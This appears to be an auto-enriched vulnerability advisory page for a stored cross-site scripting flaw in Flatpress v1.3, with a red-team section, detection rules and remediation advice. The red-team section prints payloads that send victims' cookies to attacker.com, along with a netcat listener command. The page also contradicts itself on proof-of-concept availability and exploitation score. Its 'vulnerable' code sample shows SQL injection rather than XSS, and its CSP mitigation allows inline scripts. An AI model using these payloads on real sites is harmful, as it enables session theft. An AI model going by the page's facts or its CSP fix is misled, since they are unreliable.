☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-25412

CVE-2024-25412 Cross-Site Scripting in Flatpress
📅 PUBLISHED: 2024-09-27 00:00 UTC 🔄 UPDATED: 2026-09-23 20:38 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.02%
👁️
1.02% probability
25.5× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-25412 identifies a stored Cross-Site Scripting (XSS) vulnerability in Flatpress v1.3, a lightweight PHP-based blogging platform. The flaw resides in the user registration or profile update functionality, specifically within the email field. An attacker can inject arbitrary JavaScript or HTML into this field, which is then stored on the server and executed in the browsers of other users (including administrators) when the profile or user list is viewed. This can lead to session hijacking, credential theft, or defacement. The vulnerability is publicly known, with proof-of-concept code available, but no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the risk is elevated for any instance allowing user registration.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector (AV): Network – The attack is performed over the network.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need to be authenticated.
  • User Interaction (UI): Required – The victim must view the crafted profile or user list.
  • Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low – Limited information disclosure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the simplicity of exploitation elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79). Flatpress v1.3 does not properly sanitize or escape user-supplied input in the email field during user registration or profile updates. The application likely stores this input directly into a database (e.g., SQLite or MySQL) and later renders it in HTML pages without proper encoding.

Attack Flow:

  1. An attacker registers a new user account or updates an existing profile.
  2. In the email field, the attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload to steal cookies.
  3. The server stores the malicious input in the database.
  4. When an administrator or another user views the user list or the attacker's profile page, the stored payload is rendered in the browser.
  5. The victim's browser executes the injected script, allowing the attacker to perform actions in the context of the victim's session.

Root Cause: Lack of output encoding and input validation on the email field. The application likely uses echo $email; or similar without htmlspecialchars() or equivalent sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (Flatpress v1.3 - Example):

// In user registration or profile update handler
$email = $_POST['email'];
// No sanitization or validation
$db->query("UPDATE users SET email = '$email' WHERE id = $user_id");

Patched Code (Hypothetical Fix):

// In user registration or profile update handler
$email = filter_var($_POST['email'], FILTER_SANITIZE_EMAIL);
// Validate email format
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    // Handle error
}
// Use prepared statements to prevent SQL injection
$stmt = $db->prepare("UPDATE users SET email = ? WHERE id = ?");
$stmt->bind_param("si", $email, $user_id);
$stmt->execute();

Output Encoding (When Displaying):

// When rendering the email in HTML
echo htmlspecialchars($email, ENT_QUOTES, 'UTF-8');

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A running instance of Flatpress v1.3 with user registration enabled.
  • A web browser with developer tools.

Exploitation Steps:

  1. Navigate to the registration page (e.g., /register.php).
  2. Fill in the required fields (username, password, etc.).
  3. In the email field, enter a malicious payload:
    <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
    
  4. Submit the form.
  5. Wait for an administrator or another user to view the user list or your profile.
  6. The victim's browser will execute the script, sending their cookies to your server.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">

Lab Setup:

  • Use Docker to quickly spin up a vulnerable instance:
    docker run -d -p 8080:80 --name flatpress-vuln flatpress/flatpress:1.3
    
  • Set up a listener on your attacker machine:
    nc -lvnp 80
    

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual email field submissions containing <script>, onerror, or javascript:.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to mitigate script execution.

Mitigation:

  • Apply input validation and output encoding as shown in the patched code section.
  • Disable user registration if not required.
  • Regularly audit user-submitted data for malicious content.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP POST requests to /register.php or /profile.php with email parameter containing <script> or onerror patterns.
    • Outbound connections from the Flatpress server to attacker-controlled domains (e.g., attacker.com).
  • File IOCs:

    • Database entries in the users table where the email field contains HTML/JavaScript.
  • Log IOCs:

    • Web server access logs showing requests to /register.php with suspicious email values.
    • Error logs showing attempts to execute JavaScript in the context of the application.

Detection Engineering

YARA Rule

rule CVE_2024_25412_Flatpress_XSS {
    meta:
        description = "Detects stored XSS payloads in Flatpress v1.3 email fields"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25412"
    strings:
        $xss_payload_1 = /<script[^>]*>.*?<\/script>/is
        $xss_payload_2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss_payload_3 = /onload\s*=\s*["']?[^"']*["']?/is
        $xss_payload_4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Flatpress v1.3 Email Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-25412 by injecting XSS payloads into the email field.
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/register.php'
        cs-uri-query|contains|windash: 'email='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in email fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25412 - Flatpress v1.3 Stored XSS in Email Field";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/register.php";
    http_uri;
    pcre:"/(<script|onerror|onload|javascript:)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-25412;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable User Registration: If not required, disable the registration feature in Flatpress configuration.
  2. Apply Input Validation: Manually patch the code to sanitize the email field using filter_var() and htmlspecialchars().
  3. Use a WAF: Deploy a Web Application Firewall with rules to block XSS payloads.

Long-Term Fix:

  • Upgrade to a patched version of Flatpress if the vendor releases one.
  • Consider migrating to a more actively maintained blogging platform.

Compensating Controls:

  • Implement Content Security Policy (CSP) headers:
    Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';"
    
  • Enable HTTPOnly and Secure flags on session cookies.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-25412/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.